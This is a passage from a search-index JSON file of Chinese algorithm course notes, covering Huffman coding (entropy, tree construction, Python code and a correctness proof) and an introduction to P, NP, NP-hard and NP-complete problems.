\u4eec\u53ea\u9700\u8981\u8003\u8651\\(d_j\\)\u5373\u53ef\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4efb\u52a1\u6309\u7167\u622a\u81f3\u65e5\u671f\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u6b21\u5b8c\u6210\u3002 </p> </li> </ul>"},{"location":"NOTE/ADS/wk8/#huffman","title":"Huffman \u7f16\u7801","text":"<p>\u79bb\u6563\u6ca1\u5b66\u61c2\u7684\uff0c\u5f25\u8865\u4e00\u4e0b</p> <p>\u54c8\u592b\u66fc\u7f16\u7801\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u5b57\u6bcd\u8868\u7684\u671f\u671b\u957f\u5ea6\u6700\u5c0f\uff08\u4f9d\u636e\u5b57\u6bcd\u51fa\u73b0\u9891\u7387\uff09\u7684\u524d\u7f00\u7f16\u7801\uff0c\u5728\u4e4b\u524d\u6700\u4f18\u4e8c\u53c9\u641c\u7d22\u6811\u7684\u8ba8\u8bba\u4e2d\u6211\u4eec\u4f3c\u4e4e\u6709\u4e00\u4e2a\u7c7b\u4f3c\u7684\u76ee\u6807\uff0c\u4f46\u90a3\u91cc\u6211\u4eec\u662f\u5e0c\u671b\u6700\u5c0f\u5316\u641c\u7d22\u7684\u671f\u671b\u65f6\u95f4\uff0c\u5e76\u6ca1\u6709\u524d\u7f00\u7f16\u7801\u7684\u9700\u6c42\u3002\u4e8b\u5b9e\u4e0a\uff0c\u54c8\u592b\u66fc\u7f16\u7801\u5177\u6709\u975e\u5e38\u5f3a\u7684\u4fe1\u606f\u8bba\u80cc\u666f\u3002</p>"},{"location":"NOTE/ADS/wk8/#_3","title":"\u4fe1\u606f\u71b5\u4e0e\u524d\u7f00\u7f16\u7801","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\\(X\\)\uff0c\u5176\u4fe1\u606f\u71b5\u5b9a\u4e49\u4e3a</p> \\[     H(X) = -\\sum_{i=1}^{n} p(x_i) \\log_2 p(x_i) \\] <p>Note</p> <p>\u5728\u5e73\u5747\u610f\u4e49\u4e0b\uff0c\u4fe1\u606f\u71b5\u53ef\u4ee5\u7406\u89e3\u4e3a\u5bf9\u4e8e\u4e00\u4e2a\u968f\u673a\u53d8\u91cf \\(X\\)\uff0c\u6211\u4eec\u9700\u8981\u591a\u5c11\u6bd4\u7279\u6765\u8868\u793a\u5b83\u3002</p> <p>Eg</p> <ul> <li>\u8003\u8651\u4e00\u4e2a\u670d\u4ece\u5747\u5300\u5206\u5e03\u4e14\u6709 32 \u79cd\u53ef\u80fd\u53d6\u503c\u7684\u968f\u673a\u53d8\u91cf X\u3002\u4e3a\u4e86\u786e\u5b9a\u4e00\u4e2a\u7ed3\u679c\uff0c\u9700\u8981\u4e00\u4e2a\u80fd\u5bb9\u7eb3 32 \u4e2a\u4e0d\u540c\u503c\u7684\u6807\u8bc6\uff0c\u56e0\u6b64\u7528 5 \u4e2a\u6bd4\u7279\u8db3\u77e3\u3002\u800c\u5176\u4fe1\u606f\u71b5\u4e3a</li> </ul> \\[ H(X) = -\\sum_{i=1}^{32} \\frac{1}{32} \\log_2 \\frac{1}{32} = 5 \\] <ul> <li>\u6709 8 \u5339\u9a6c\u53c2\u52a0\u7684\u4e00\u573a\u8d5b\u9a6c\u6bd4\u8d5b\uff0c\u5b83\u4eec\u7684\u83b7\u80dc\u6982\u7387\u5206\u522b\u4e3a</li> </ul> \\[     \\left\\{ \\frac{1}{2}, \\frac{1}{4}, \\frac{1}{8}, \\frac{1}{16}, \\frac{1}{64}, \\frac{1}{64}, \\frac{1}{64}, \\frac{1}{64} \\right\\}   \\] <p>\u5047\u5b9a\u6211\u4eec\u8981\u628a\u54ea\u5339\u9a6c\u4f1a\u8d62\u7684\u4fe1\u606f\u544a\u8bc9\u7ed9\u522b\u4eba\uff0c\u5176\u4e2d\u4e00\u4e2a\u7b56\u7565\u662f\u53d1\u9001\u80dc\u51fa\u7684\u9a6c\u7684\u7f16\u53f7\uff0c\u8fd9\u6837\u5bf9\u4e8e\u4efb\u4f55\u4e00\u5339\u9a6c\u90fd\u9700\u8981 3 \u4e2a\u6bd4\u7279\u3002\u4f46\u7531\u4e8e\u6982\u7387\u4e0d\u662f\u5747\u7b49\u7684\uff0c\u660e\u667a\u7684\u65b9\u6cd5\u662f\u5bf9\u6982\u7387\u5927\u7684\u9a6c\u7528\u66f4\u77ed\u7684\u7f16\u7801\uff0c\u5bf9\u6982\u7387\u5c0f\u7684\u9a6c\u7528\u66f4\u957f\u7684\u7f16\u7801\u3002\u4f8b\u5982\u4f7f\u7528\u4ee5\u4e0b\u7f16\u7801\uff1a0, 10, 110, 1110, 111100, 111101, 111110, 111111\uff0c\u8fd9\u6837\u5e73\u5747\u6bcf\u5339\u9a6c\u9700\u8981 2 \u4e2a\u6bd4\u7279\uff0c\u6bd4\u7b49\u957f\u7684\u6bd4\u7279\u6570\u66f4\u77ed\u3002</p>"},{"location":"NOTE/ADS/wk8/#_4","title":"\u7b97\u6cd5\u63cf\u8ff0","text":"<p>\u6211\u4eec\u4ee5\u4e8c\u53c9\u6811\u7684\u5f62\u5f0f\u6765\u6784\u5efa\u7f16\u7801\u6811\uff0c\u4fe1\u606f\u90fd\u5b58\u50a8\u5728\u53f6\u5b50\u8282\u70b9\u4e0a\uff0c\u975e\u53f6\u5b50\u8282\u70b9\u4e0d\u5b58\u50a8\u4fe1\u606f\u3002\u4ece\u6839\u8282\u70b9\u5230\u53f6\u5b50\u8282\u70b9\u7684\u8def\u5f84\u4e0a\u7684 0 \u548c 1 \u5206\u522b\u4ee3\u8868\u5de6\u53f3\u5b50\u6811\u3002</p> <p>\u4f8b\u5982\u6211\u4eec\u8981\u7f16\u7801\u4e00\u4e32\\(aaaxuaxz\\)\u50cf\u8fd9\u6837\u7684\u4e00\u9897\u6811\uff0ca\u7684\u524d\u7f00\u7f16\u7801\u662f00\uff0cu\u662f01\uff0c\u7b49\u7b49\u3002</p> <p>\u5982\u679c\u67d0\u4e2a\u5b57\u7b26\u5728\u6df1\u5ea6\u4e3a \\(d\\) \u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u5b83\u7684\u7f16\u7801\u957f\u5ea6\u4e3a \\(d\\)\uff0c\u5176\u51fa\u73b0\u7684\u9891\u7387\u4e3a \\(f\\)\uff0c\u90a3\u4e48\u5b83\u7684\u603b\u7f16\u7801\u957f\u5ea6\u4e3a \\(f \\cdot d\\)\u3002\u6211\u4eec\u7684\u76ee\u6807\u662f\u6700\u5c0f\u5316\u6240\u6709\u5b57\u7b26\u7684\u603b\u7f16\u7801\u957f\u5ea6\u3002</p> \\[     \\min \\sum_{i=1}^{n} f_i \\cdot d_i \\] <p>\u5982\u679c\u6839\u636e\u9891\u7387\u6765\u7f16\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u8fd9\u6837\u4e00\u9897\u6811</p> <p>\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811</p> <p>\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811\u7684\u5177\u4f53\u6b65\u9aa4\uff1a</p> <ul> <li>\u7edf\u8ba1\u9891\u7387\uff1a</li> </ul> <p>\u7ed9\u5b9a\u4e00\u7ec4\u5f85\u7f16\u7801\u7684\u5b57\u7b26\uff0c\u6bcf\u4e2a\u5b57\u7b26\u90fd\u6709\u4e00\u4e2a\u51fa\u73b0\u9891\u7387\uff08\u6216\u8005\u6743\u91cd\uff09\u3002\u9996\u5148\uff0c\u9700\u8981\u7edf\u8ba1\u6bcf\u4e2a\u5b57\u7b26\u7684\u9891\u7387\u3002</p> <ul> <li>\u521b\u5efa\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\uff1a</li> </ul> <p>\u6839\u636e\u5b57\u7b26\u7684\u9891\u7387\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4f5c\u4e3a\u8282\u70b9\uff0c\u5e76\u5c06\u5b83\u4eec\u653e\u5165\u4e00\u4e2a\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\u4e2d\u3002\u5806\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2a\u8282\u70b9\uff0c\u8282\u70b9\u7684\u503c\u4e3a\u5b57\u7b26\u7684\u9891\u7387\u3002\u4f18\u5148\u961f\u5217\u4fdd\u8bc1\u6bcf\u6b21\u80fd\u591f\u5feb\u901f\u53d6\u51fa\u9891\u7387\u6700\u5c0f\u7684\u4e24\u4e2a\u8282\u70b9\u3002</p> <ul> <li>\u6784\u5efa\u54c8\u592b\u66fc\u6811\uff1a</li> </ul> <p>\u4ece\u6700\u5c0f\u5806\u4e2d\u53cd\u590d\u53d6\u51fa\u4e24\u4e2a\u6700\u5c0f\u9891\u7387\u7684\u8282\u70b9\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7236\u8282\u70b9\u3002\u8fd9\u4e2a\u7236\u8282\u70b9\u7684\u9891\u7387\u662f\u4e24\u4e2a\u5b50\u8282\u70b9\u9891\u7387\u4e4b\u548c\u3002\u65b0\u7684\u7236\u8282\u70b9\u4e0d\u4ee3\u8868\u67d0\u4e2a\u5177\u4f53\u7684\u5b57\u7b26\uff0c\u800c\u662f\u4f5c\u4e3a\u4e00\u4e2a\u4e2d\u95f4\u8282\u70b9\uff0c\u8fde\u63a5\u4e24\u4e2a\u539f\u59cb\u8282\u70b9\uff08\u5373\u4e24\u4e2a\u5b57\u7b26\u7684\u9891\u7387\u8282\u70b9\uff09\u3002\u5c06\u65b0\u751f\u6210\u7684\u7236\u8282\u70b9\u63d2\u56de\u6700\u5c0f\u5806\u4e2d\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u4e0d\u65ad\u91cd\u590d\uff0c\u76f4\u5230\u5806\u4e2d\u53ea\u5269\u4e0b\u4e00\u4e2a\u8282\u70b9\u4e3a\u6b62\u3002\u6700\u7ec8\u5269\u4e0b\u7684\u8282\u70b9\u5c31\u662f\u54c8\u592b\u66fc\u6811\u7684\u6839\u8282\u70b9\u3002</p> <ul> <li>\u751f\u6210\u7f16\u7801\uff1a</li> </ul> <p>\u4e00\u65e6\u54c8\u592b\u66fc\u6811\u6784\u5efa\u5b8c\u6210\uff0c\u5c31\u53ef\u4ee5\u4e3a\u6bcf\u4e2a\u5b57\u7b26\u5206\u914d\u7f16\u7801\u3002\u901a\u8fc7\u4ece\u6811\u7684\u6839\u8282\u70b9\u51fa\u53d1\uff0c\u6cbf\u7740\u6bcf\u4e00\u6761\u8def\u5f84\u5230\u8fbe\u53f6\u5b50\u8282\u70b9\u6765\u786e\u5b9a\u7f16\u7801\u3002\u901a\u5e38\uff0c\u6cbf\u5de6\u8fb9\u7684\u8fb9\u5206\u914d\"0\"\uff0c\u6cbf\u53f3\u8fb9\u7684\u8fb9\u5206\u914d\"1\"\u3002</p> <ul> <li>\u53f6\u5b50\u8282\u70b9\u6240\u5bf9\u5e94\u7684\u7f16\u7801\u5373\u4e3a\u54c8\u592b\u66fc\u7f16\u7801\u3002</li> </ul> \u4ee3\u7801\u5b9e\u73b0 <pre><code>import heapq\n\nclass Node:\n def __init__(self, char, freq):\n     self.char = char  # \u5b57\u7b26\n     self.freq = freq  # \u9891\u7387\n     self.left = None   # \u5de6\u5b50\u6811\n     self.right = None  # \u53f3\u5b50\u6811\n\n def __lt__(self, other):\n     return self.freq &lt; other.freq\n\ndef build_huffman_tree(freqs):\n # \u521b\u5efa\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\uff0c\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2aNode\u5bf9\u8c61\n heap = [Node(char, freq) for char, freq in freqs.items()]\n heapq.heapify(heap)\n\n while len(heap) &gt; 1:\n     # \u53d6\u51fa\u4e24\u4e2a\u9891\u7387\u6700\u5c0f\u7684\u8282\u70b9\n     left = heapq.heappop(heap)\n     right = heapq.heappop(heap)\n\n     # \u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7236\u8282\u70b9\n     merged = Node(None, left.freq + right.freq)\n     merged.left = left\n     merged.right = right\n\n     # \u5c06\u65b0\u7684\u8282\u70b9\u63d2\u56de\u5806\u4e2d\n     heapq.heappush(heap, merged)\n\n # \u8fd4\u56de\u6700\u7ec8\u7684\u54c8\u592b\u66fc\u6811\u7684\u6839\u8282\u70b9\n return heap[0]\n\ndef generate_huffman_codes(node, prefix=\"\", codebook={}):\n if node is not None:\n     if node.char is not None:\n         # \u53f6\u5b50\u8282\u70b9\uff0c\u5b58\u50a8\u7f16\u7801\n         codebook[node.char] = prefix\n     else:\n         # \u9012\u5f52\u904d\u5386\u5de6\u53f3\u5b50\u6811\n         generate_huffman_codes(node.left, prefix + \"0\", codebook)\n         generate_huffman_codes(node.right, prefix + \"1\", codebook)\n return codebook\n</code></pre> <p>\u4f2a\u4ee3\u7801 <pre><code>void Huffman ( PriorityQueue  heap[ ],  int  C )\n{   consider the C characters as C single node binary trees,\n     and initialize them into a min heap;\n     for ( i = 1; i &lt; C; i++ ) { \n        create a new node;\n        /* be greedy here */\n        delete root from min heap and attach it to left_child of node;\n        delete root from min heap and attach it to right_child of node;\n        weight of node = sum of weights of its children;\n        /* weight of a tree = sum of the frequencies of its leaves */\n        insert node into min heap;\n   }\n}\n</code></pre></p>"},{"location":"NOTE/ADS/wk8/#huffman_1","title":"Huffman\u7f16\u7801\u6b63\u786e\u6027","text":""},{"location":"NOTE/ADS/wk8/#_5","title":"\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28","text":"<p>\\(C\\) \u4e3a\u4e00\u4e2a\u5b57\u6bcd\u8868\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5b57\u7b26 \\(c \\in C\\) \u90fd\u6709\u4e00\u4e2a\u9891\u7387 \\(c.freq\\).\u4ee4 \\(x\\) \u548c \\(y\\) \u662f \\(C\\) \u4e2d\u9891\u7387\u6700\u4f4e\u7684\u4e24\u4e2a\u5b57\u7b26\u3002\u90a3\u4e48\u5b58\u5728 \\(C\\) \u7684\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\uff0c\\(x\\) \u548c \\(y\\) \u7684\u7801\u5b57\u957f\u5ea6\u76f8\u540c\uff0c\u4e14\u53ea\u6709\u6700\u540e\u4e00\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u4e0d\u540c(\u5373\u5728\u7f16\u7801\u4e8c\u53c9\u6811\u4e2d\uff0c\u5b83\u4eec\u662f\u5144\u5f1f\u8282\u70b9)\u3002</p> <p>\u6211\u4eec\u4e5f\u53ef\u4ee5\u7528\u4ea4\u6362\u6cd5\uff0c\u5982\u4e0a\u56fe\uff0c\u53ef\u4ee5\u8bc1\u660e\u4ea4\u6362\u540e\u7684\u6811\u6240\u7528\u7684\u7f16\u7801\u957f\u5ea6\u4e0d\u4f1a\u53d8\u5927\uff0c\u5982\u679c\u539f\u6765\u7684\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u4ea4\u6362\u540e\u7684\u4e5f\u662f\u6700\u4f18\u89e3\u3002</p>"},{"location":"NOTE/ADS/wk8/#_6","title":"\u6700\u4f18\u5b50\u7ed3\u6784","text":"<p>\\(C\\) \u4e3a\u4e00\u4e2a\u5b57\u6bcd\u8868\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5b57\u7b26 \\(c \\in C\\) \u90fd\u6709\u4e00\u4e2a\u9891\u7387 \\(c.freq\\)\u3002\u4ee4 \\(x\\) \u548c \\(y\\)\u662f \\(C\\) \u4e2d\u9891\u7387\u6700\u4f4e\u7684\u4e24\u4e2a\u5b57\u7b26\u3002\u4ee4 \\(C\u2032\\) \u4e3a \\(C\\) \u53bb\u6389\u5b57\u7b26 \\(x\\) \u548c \\(y\\)\uff0c\u52a0\u5165\u4e00\u4e2a\u65b0\u5b57\u7b26 \\(z\\) \u540e\u7684\u5b57\u6bcd\u8868\u3002\u6211\u4eec\u7ed9 \\(C\u2032\\) \u4e5f\u5b9a\u4e49\u9891\u7387\u96c6\u5408\uff0c\u4e0d\u540c\u4e4b\u5904\u53ea\u662f \\(z.freq = x.freq + y.freq\\)\u3002\u4ee4 \\(T\u2032\\) \u4e3a \\(C\u2032\\) \u7684\u4efb\u610f\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\u6811\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c06 \\(T\u2032\\) \u4e2d\u53f6\u7ed3\u70b9 \\(z\\) \u66ff\u6362\u4e3a\u4e00\u4e2a\u4ee5 \\(x\\) \u548c \\(y\\) \u4e3a\u5b69\u5b50\u7684\u5185\u90e8\u7ed3\u70b9\u5f97\u5230\u4e00\u4e2a \\(C\\) \u7684\u4e00\u4e2a\u6700\u4f18\u524d\u7f00\u7801\u6811 \\(T\\)\u3002</p> <p>Note</p> <p>\u5982\u679c\u4e0a\u9762\u8fd9\u4e00\u547d\u9898\u6b63\u786e\uff0c\u90a3\u4e48\u6211\u4eec\u6bcf\u6b21\u5408\u5e76 \\(x\\) \u548c \\(y\\) \u5f97\u5230 \\(z\\) \u4e4b\u540e\uff0c\u6309\u7167\u6ca1\u6709 \\(x\\) \u548c \\(y\\)\uff0c\u53ea\u6709 \\(z\\) \u7684\u5b50\u95ee\u9898\u7ee7\u7eed\u63a8\u8fdb\u6211\u4eec\u7684\u8d2a\u5fc3\u7b97\u6cd5\u53ef\u4ee5\u5f97\u5230 \\(T\u2032\\) \u8fd9\u4e00\u5b50\u95ee\u9898\u7684\u6700\u4f18\u89e3\uff0c\u5b83\u548c\u5408\u5e76 \\(x\\) \u548c \\(y\\) \u5f97\u5230 \\(z\\) \u8fd9\u4e00\u524d\u9762\u5df2\u7ecf\u9a8c\u8bc1\u6b63\u786e\u6027\u7684\u8d2a\u5fc3\u9009\u62e9\u4e00\u8d77\uff0c\u5c31\u6784\u6210\u4e86\u6574\u4f53\u7684\u6700\u4f18\u89e3\u3002</p> <p>\u4f7f\u7528\u53cd\u8bc1\u6cd5\u8bc1\u660e</p> <p>\u9996\u5148\u6211\u4eec\u6709</p> \\[     B(T) = B(T') + x.freq + y.freq \\] <p>\u56e0\u4e3a\\(T'\\)\u76f8\u5f53\u4e8e\u628a\\(T\\)\u4e2d\\(x,y\\)\u4e0a\u79fb\u4e00\u5c42\uff0c\u5047\u8bbe\\(T\\)\u4e0d\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u5b58\u5728\u4e00\u4e2a\u66f4\u4f18\u89e3\\(T''\\)\uff0c\u4f7f\u5f97</p> \\[     B(T'') &lt; B(T) \\] <p>\u5373</p> \\[     B(T'') &lt; B(T') + x.freq + y.freq \\] <p>\u5219\u6709</p> \\[   B(T''') = B(T'')- x.freq - y.freq &lt; B(T') \\] <p>\u5176\u4e2d\\(T'''\\)\u662f\\(T''\\)\u4e2d\\(x,y\\)\u5408\u5e76\u6210\\(z\\)\u5f97\u5230\u7684\u6811\uff0c\u8fd9\u4e0e\\(T'\\)\u662f\u6700\u4f18\u89e3\u77db\u76fe\uff0c\u6240\u4ee5\\(T\\)\u662f\u6700\u4f18\u89e3\uff0c\u8bc1\u6bd5\u3002</p>"},{"location":"NOTE/ADS/wk9/","title":"NP\u5b8c\u5168\u6027","text":"<p> \u7ea6 1229 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 4 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk9/#_1","title":"\u57fa\u672c\u6982\u5ff5","text":"<p>Definition</p> P\u95ee\u9898NP\u95ee\u9898NP-hard\u95ee\u9898NP\u5b8c\u5168\u95ee\u9898 <p>\u7531\u591a\u9879\u5f0f\u65f6\u95f4\u7b97\u6cd5\u89e3\u51b3\u7684\u95ee\u9898\u96c6\u5408\u3002</p> <p>\u5176\u4e2d\u591a\u9879\u5f0f\u65f6\u95f4\u7b97\u6cd5\u6307\u7684\u662f\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e0e\u8f93\u5165\u7684\u957f\u5ea6\u4e4b\u95f4\u662f\u591a\u9879\u5f0f\u5173\u7cfb</p> <p>NP(Non-deterministic Polynomial time)\u95ee\u9898\u662f\u6307\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u9a8c\u8bc1\u4e00\u4e2a\u89e3\u7684\u95ee\u9898\u96c6\u5408\u3002\u4f46\u662f\u5e76\u4e0d\u786e\u5b9a\u80fd\u4e0d\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u627e\u5230\u4e00\u4e2a\u89e3\u3002</p> \u591a\u9879\u5f0f\u65f6\u95f4\u9a8c\u8bc1 <p>we say \\(B\\) is an efficient verifier for problem \\(X\\) if </p> <ul> <li> <p>\\(B\\) runs in polynomial time,taking two arguments: an instance \\(x\\) and a certificate \\(y\\).</p> </li> <li> <p>there exists a polynomial \\(p\\) such that for every \\(x\\) in \\(X\\), there is a certificate \\(y\\) of length at most \\(p(|x|)\\) such that \\(B\\) accepts \\((x,y)\\)</p> </li> </ul> <p>NP-hard\u95ee\u9898\u662f\u6307\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u7ea6\u5316\u4e3a\u8be5\u95ee\u9898\u3002NP-hard\u95ee\u9898\u4e0d\u4e00\u5b9a\u662fNP\u95ee\u9898,\u5b83\u662f\u6bd4NP\u95ee\u9898\u66f4\u96be\u7684\u95ee\u9898\u3002</p> <p>NPC(NP-Complete)\u95ee\u9898\u662f\u6307\u65e2\u662fNP\u95ee\u9898\uff0c\u53c8\u662fNP\u95ee\u9898\u4e2d\u6700\u96be\u7684\u95ee\u9898(NP-hard)\u3002\u5982\u679c\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u4e00\u4e2aNPC\u95ee\u9898\uff0c\u90a3\u4e48\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\u3002\u4e5f\u5c31\u662f\u8bf4</p> \\[     P=NP \\Rightarrow P=NP=NPC \\] <p>\u56db\u8005\u5173\u7cfb</p> <ul> <li>P\u95ee\u9898\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\u81ea\u7136\u4e5f\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u9a8c\u8bc1\uff0c\u6240\u4ee5P\u95ee\u9898\u662fNP\u95ee\u9898\u7684\u5b50\u96c6\u3002\\(P \\subseteq NP\\)</li> <li>NPC\u95ee\u9898\u662fNP\u95ee\u9898\u7684\u5b50\u96c6\uff0c\\(NPC \\subseteq NP\\)</li> <li>NPC\u95ee\u9898\u4e5f\u662fNP-hard\u95ee\u9898\u7684\u5b50\u96c6\uff0c\\(NPC \\subseteq NP-hard\\)\uff0c\\(NPC=NP \\cap NP-hard\\)</li> <li>NP-hard\u95ee\u9898\u4e0d\u4e00\u5b9a\u662fNP\u95ee\u9898\uff0c\\(NP-hard \\nsubseteq NP\\)</li> <li>\u5982\u679cNPC\u95ee\u9898\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\u90a3\u4e48\u6240\u6709\u7684NP\u95ee\u9898\u90fd\u80fd\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u89e3\u51b3\uff0c\\(P=NP \\Rightarrow P=NP=NPC\\)</li> </ul>"},{"location":"NOTE/ADS/wk9/#_2","title":"\u5e38\u89c1\u7684\u591a\u9879\u5f0f\u65f6\u95f4\u95ee\u9898","text":"<ul> <li>\u6700\u77ed\u8def\u5f84\u95ee\u9898\uff1a\uff1a\u7ed9\u5b9a\u4e00\u4e2a\u6709\u5411\u56fe\\(G = (V, E)\\)\u5373\u4f7f\u662f\u5e26\u8d1f\u6743\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u5728 \\(O(|V||E|)\\) \u7684\u65f6\u95f4\u5185\u627e\u5230\u4ece\u5355\u4e00\u6e90\u9876\u70b9\u5f00\u59cb\u7684\u6700\u77ed\u8def\u5f84\uff1b\u8fd9\u662f\u591a\u9879\u5f0f\u65f6\u95f4\u7684\uff0c\u56e0\u4e3a\u56fe\u4e2d\u6211\u4eec\u7684\u8f93\u5165\u89c4\u6a21\u53ef\u4ee5\u89c6\u4e3a \\(|V|+|E|\\)</li> <li>\u6b27\u62c9\u56de\u8def\u95ee\u9898\uff1a\u662f\u5426\u5b58\u5728\u4e00\u6761\u8def\u5f84\uff0c\u7ecf\u8fc7\u56fe\u4e2d\u6bcf\u6761\u8fb9\u6070\u597d\u4e00\u6b21\uff0c\u4e14\u6700\u7ec8\u56de\u5230\u8d77\u70b9\u3002\u8fd9\u4e2a\u95ee\u9898\u53ef\u4ee5\u5728 \\(O(|E|)\\) \u7684\u65f6\u95f4\u5185\u4f7f\u7528\u6df1\u5ea6\u4f18\u5148\u641c\u7d22\u89e3\u51b3\u3002</li> <li>\\(2-SAT\\)\u95ee\u9898\uff1a\u7ed9\u5b9a\u4e00\u4e2a\u5408\u53d6\u8303\u5f0f(\u5982\u679c\u5b83\u662f\u7531 \\(2\\) \u4e2a\u5b50\u53e5\u7684\u5408\u53d6\u6784\u6210\u7684\uff0c\u6bcf\u4e2a\u5b50\u53e5\u662f\u7531\\(2\\)\u4e2a\u53d8\u91cf\u6216\u8005\u5b83\u4eec\u7684\u5426\u5b9a\u6784\u6210\u7684\u6790\u53d6)\uff0c\u4e5f\u53ef\u4ee5\u5728\u591a\u9879\u5f0f\u65f6\u95f4\u5185\u627e\u5230\u662f\u5426\u5b58\u5728\u53d8\u91cf\u76840\uff0c1\u8d4b\u503c\uff0c\u4f7f\u5f97\u5408\u53d6\u5f0f\u4e3a\u771f\u3002</li> </ul> <p>0-1\u80cc\u5305\u95ee\u9898</p> <p>0-1\u80cc\u5305\u95ee\u9898\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u6307\u6570\u7ea7\u522b\u7684\uff0c\u4e0d\u662f\u591a\u9879\u5f0f\u65f6\u95f4\u7684\u3002\u5176\u80cc\u5305\u5bb9\u91cf\u662f\u4f7f\u75282\u8fdb\u5236\u8868\u793a\u7684(\\(\\log C\\)),\u524d\u9762\u8ba8\u8bba\u7684\\(n\\)\u6307\u7684\u662f\\(n\\)\u4e2a2\u8fdb\u5236\u7f16\u7801</p>"},{"location":"NOTE/ADS/wk9/#formal-language","title":"\u5f62\u5f0f\u8bed\u8a00(formal language)","text":"<p>\u4e00\u4e2a\u5f62\u5f0f\u8bed\u8a00\\(L\\)\u662f\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u96c6\u5408\uff0c\\(L \\subseteq \\Sigma^*\\)\uff0c\u5176\u4e2d\\(\\Sigma\\)\u662f\u4e00\u4e2a\u6709\u9650\u7684\u5b57\u6bcd\u8868,\u5176\u4e0a\u7684\u5b57\u7b26\u4e32(string)\u662f\u5b57\u6bcd\u8868\u4e0a\u7684\u5b57\u7b26\u7684\u6709\u9650\u5e8f\u5217,\u6240\u6709\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\u6784\u6210\u4e86\\(\\Sigma^*\\)\u3002</p> <ul> <li>\u81f3\u591a\u53ef\u6570\u7684\u96c6\u5408\u4e0a\u7684\u6709\u9650\u5b57\u7b26\u4e32\u662f\u53ef\u6570\u7684</li> <li>\u8bed\u8a00\u53ef\u4ee5\u505a\u8854\u63a5\u3001\u5e76\u3001\u4ea4\u3001\u8865\u3001Kleene \u95ed\u5305(\u7531\u96c6\u5408\u4e2d\u7684\u7b26\u53f7\u751f\u6210\u7684\u6240\u6709\u53ef\u80fd\u7684\u6709\u9650\u957f\u5ea6\u7684\u5b57\u7b26\u4e32\u6240\u6784\u6210\u7684\u96c6\u5408)\u7b49\u8fd0\u7b97</li> </ul> <p>Definition</p> \u5224\u5b9a\u95ee\u9898\u641c\u7d22\u95ee\u9898\u8f6c\u6362\u95ee\u9898 <p>\u7ed9\u5b9a\u8bed\u8a00\\(L\\),\u8f93\u5165\u67d0\u4e00\u4e2a\u5b57\u7b26\u4e32\\(w\\)\uff0c\u5224\u5b9a\u95ee\u9898\u662f\u6307\u5224\u65ad\\(w\\)\u662f\u5426\u5c5e\u4e8e\\(L\\)\u3002\u5982\u679c\\(w \\in L\\)\uff0c\u5219\u8f93\u51faYES\uff0c\u5426\u5219\u8f93\u51faNO\u3002(decision problem)</p> <p>\\(A\\) solves problem \\(L\\) (\\(A\\) decides language \\(L\\)) if for every \\(w \\in \\Sigma^*\\)</p> <p>\\(A\\) accepts \\(w\\) if and only if  \\(w \\in L\\)</p> <p>\u7ed9\u5b9a\u8bed\u8a00\\(L\\),\u641c\u7d22\u95ee\u9898\u662f\u6307\u627e\u5230\u4e00\u4e2a\\(w\\)\uff0c\u4f7f\u5f97\\(w \\in L\\)\u3002</p> 